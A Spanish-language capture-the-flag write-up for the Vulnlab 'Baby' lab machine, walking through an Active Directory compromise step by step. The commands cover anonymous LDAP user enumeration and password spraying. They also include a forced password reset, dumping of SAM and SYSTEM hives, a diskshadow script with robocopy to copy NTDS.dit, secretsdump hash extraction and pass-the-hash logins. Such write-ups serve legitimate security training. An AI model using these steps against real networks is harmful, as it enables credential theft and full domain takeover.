Baby - Writeup (Vulnlab)
Writeup de la maquina Easy "Baby" de la plataforma Vulnlab.

NMAP
Al ejecutar el primer escaneo con NMAP, se obtienen los siguientes resultados, que proporcionan una visión inicial de los servicios y puertos abiertos en el sistema objetivo:
nmap -n -vv -A --min-parallelism=50 --max-parallelism=150 -Pn -T2


DNS Domain Name
Cuando trabajamos en entornos de ctf y pentesting, es común asignar un nombre de dominio personalizado a una dirección IP para facilitar el acceso y evitar tener que recordar IPs.

Una forma práctica de lograr esto a nivel local es mediante la edición del archivo /etc/hosts, lo que permite mapear nombres de dominio a direcciones IP específicas.
LDAP: Enumerando Usuarios
Si un servidor LDAP está expuesto públicamente y permite consultas anónimas, es posible intentar enumerar usuarios sin necesidad de autenticación, lo que puede ser un punto de partida valioso para un ataque.
Enumeración Anónima
Utilizando ldapsearch, una herramienta estándar para consultar servicios LDAP, podemos enviar una búsqueda base sin credenciales para intentar descubrir información sobre los usuarios del sistema:
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl"
Al continuar con la enumeración, encontramos entre los comentarios del usuario “Teresa Bell” una descripción interesante que sugiere que su contraseña fue restablecida o que el usuario nunca se ha conectado.
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep desc -A4

Podemos probar esto con crackmapexec, aunque inicialmente recibimos una mala noticia:
sudo crackmapexec smb baby.vl -u teresa.bell -p 'BabyStart123!'

Parece que la contraseña fue cambiada. Es común verificar si esta contraseña pudo haber sido reutilizada en otro usuario, por lo que realizamos un Password Spraying con todos los demás usuarios presentes en el sistema.
Para ello, primero generamos un wordlist con los usuarios y luego utilizamos crackmapexec para realizar el ataque.
Creando Wordlist de users.txt
Con el siguiente comando podemos recibir toda la información sin filtrar, pero nos va a servir para ‘detectar’ un campo que nos permita identificar a los usuarios:
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl"

ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep "member:"

Observamos el campo “member:”, y al verificar el resto del archivo, parece ser un campo adecuado para extraer usuarios. Con esta información, procedemos a crear el wordlist de users.txt utilizando un poco de regex.
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep "member:" |cut -d "=" -f 2 |cut -d "," -f 1 |awk '/ / {print $1 "." $2}' >users.txt
Si verificamos:

Las primeras 7 lineas no parecen ser usuarios que nos sirva, asi que los filtramos y volvemos a verificar:
sed -i '1,7d' users.txt

Password Spraying
Utilizamos nuestro wordlist creado users.txt con la contraseña conocida que tenemos.
sudo crackmapexec smb baby.vl -u users.txt -p BabyStart123! --shares

Logramos un match con la cuenta de Caroline.Robinson. Al parecer, el estado de su contraseña es que “debería ser cambiada”.
Cambiando el password con smbpasswd.py
Considerando que tenemos un match con Caroline.Robinson, y esta requiere cambiar su password, es el punto de aprovechamiento que necesitamos, usamos smbpasswd.py de Impacket:
smbpasswd.py -newpass 'MyHack1234' caroline.robinson@baby.vl

USER.txt
Ingresando con evil-winrm como Caroline.Robinson
Ingresamos con la nueva password que seteamos:
evil-winrm -u caroline.robinson -p 'MyHack1234' -i baby.vl

Si nos vamos a Desktop/, sacamos la flag de user.txt
ROOT.txt
Ahora que estamos conectados como caroline.robinson, y tenemos shell, lo primero siempre es verificar que tipo de privilegios poseemos en el sistema.
whoami /priv

Como podemos ver en la imagen resaltada, el usuario posee 2 privilegios importantes. SeBackupPrivilege y SeRestorePrivilege.
#SeBackupPrivilege:
Este privilegio otorga al usuario que lo posea el derecho de realizar copias de seguridad del sistema y de los archivos protegidos.#SeRestorePrivilege:
Este privilegio permite al user que lo posea restaurar archivos y directorios del sistema
Juntando estos dos permisos y con el apoyo del siguiente link: https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry
Dumping hashes
reg save hklm\system system
reg save hklm\sam sam

Procedemos a descargar localmente los dos archivos.
sam
system
Usamos secretsdump.py para obtener los hashes:

Logueo con evil-winrm y me llevo una sorpresa:
evil-winrm -i baby.vl -u "administrator" -H "8d9....."

El hash que dumpeamos es ni mas ni menos que para ADMIN local. Por ende no es un admin de Dominio. Entonces vamos a intentar enfocarnos en el Admin de Dominio que es el mismo nombre y en como obtener el archivo NTDS.dit.
¿Que es NTDS.dit?
NTDS.dit es un archivo mas que importante en un sistema de dominio, esta localizado en todos los controladores de dominio. Este es una base de datos que almacena ‘datos’ de AD sobre objetos, usuarios, grupos, pertenecias de grupos, incluye los hashes NTLM de las passwords para todos los users.
Una vez que podemos obtener estos hashes, podemos loguear como cualquier user de dominio incluido los administradores.
Diskshadow + Robocopy
Este sera nuestro vector de ataque. Diskshadow es un comando incluido en Windows Server el cual nos permite crear copias de un disco que esta actualmente en uso.
En el siguiente link encontré algo muy util de una persona que se baso en una maquina de HackTheBox con una situacion similar a la que tenemos en esta maquina. La cual consta de crear un script en el que ejecuta los comandos necesarios para crear una copia en este caso del NTDS.dit. Luego de realizar esto podremos extraer sin problemas el hash de ADMIN
Script File: mySam.txt
Creo el siguiente script localmente y lo subo con evil-winrm usando la función “upload”:
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

diskshadow /s mySam.txt


Cuando finaliza veremos que la copia fue realizada en el disco E:\.
robocopy /b E:\Windows\ntds . ntds.dit

Descargo el archivo ntds.dit y ejecuto secretsdump.py
secretsdump.py -sam sam -system system -ntds ntds.dit LOCAL

Finalmente logueamos con evil-winrm:
evil-winrm -i baby.vl -u "administrator" -H "ee445..."







